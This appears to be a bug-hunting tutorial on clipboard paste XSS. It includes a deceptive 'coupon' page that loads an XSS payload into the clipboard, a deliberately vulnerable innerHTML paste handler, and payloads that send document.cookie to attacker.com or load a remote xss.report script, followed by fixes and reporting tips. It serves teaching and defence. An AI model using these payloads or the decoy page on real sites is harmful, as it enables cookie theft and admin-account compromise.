Loading...
Clipboard Paste XSS (PasteJacking) abuses how web apps handle content pasted from the clipboard. When HTML is read from paste events and inserted directly into the DOM via innerHTML without sanitization, attackers can execute JavaScript in the victim's browser — and if stored, trigger Blind XSS against admins.
Clipboard Paste XSS (PasteJacking) occurs when a web app accepts HTML content from the clipboard during a paste event and inserts it directly into the DOM using innerHTML without sanitization.<!doctype html>
<html><head><title>Super Sale - Coupons</title></head>
<body>
<div class="card"><h1>Mega Sale Coupon</h1>
<p>Click to copy your exclusive coupon code!</p>
<button id="copy">Copy Coupon</button></div>
<script>
const htmlPayload = '<img src=x onerror="alert('XSS via paste')">';
document.getElementById('copy').addEventListener('click', () => {
const onCopy = e => {
e.clipboardData.setData('text/html', htmlPayload);
e.clipboardData.setData('text/plain', 'SALE2025');
e.preventDefault();
document.removeEventListener('copy', onCopy);
};
document.addEventListener('copy', onCopy);
document.execCommand('copy');
alert('Coupon copied! Paste it into the store checkout box.');
});
</script></body></html>element.addEventListener('paste', e => {
const html = e.clipboardData.getData('text/html') || e.clipboardData.getData('text/plain');
e.preventDefault();
element.innerHTML = html; // Dangerous
});If victim's paste stores the payload (comment, ticket) and an admin later views it → XSS fires in admin's browser. Attacker gets callbacks but never sees the page.const htmlPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">';const htmlPayload = '"><script src=https://xss.report/c/coffinxp></script>';<!doctype html>
<html><head><title>Checkout - Apply Coupon</title></head>
<body>
<div class="checkout-box"><h2>Apply Your Coupon</h2>
<div id="box" contenteditable="true"></div>
<p>Click inside the box and press Ctrl+V to paste your coupon.</p></div>
<script>
const box = document.getElementById('box');
box.addEventListener('paste', e => {
const html = e.clipboardData.getData('text/html') || e.clipboardData.getData('text/plain');
e.preventDefault();
box.innerHTML = html; // Vulnerable
});
</script></body></html>Comment systems with formatting optionsChat or messaging platforms that allow rich textSupport ticket or CRM toolsCMS admin panels (content editors)Won't work in simple <input> or <textarea> — those only accept plain text.element.addEventListener('paste', e => {
e.preventDefault();
const text = e.clipboardData.getData('text/plain');
element.textContent = text; // Safe
});const clean = DOMPurify.sanitize(html); element.innerHTML = clean;Content-Security-Policy: script-src 'self'; block data: and javascript: URLsEducate developers — paste events can contain HTML, not just plain text.1. Steps to reproduce (attacker PoC + paste action) 2. Screenshots/video showing XSS firing 3. Impact statement: highlight Blind XSS in admin panels 4. Suggested fix: enforce plain text or sanitize HTMLClipboard Paste XSS (PasteJacking) exploits paste actions to trigger XSS. Rich-text editors and admin panels are common targets. Recognizing this helps bug hunters find Blind XSS and guides developers to implement safer paste handling.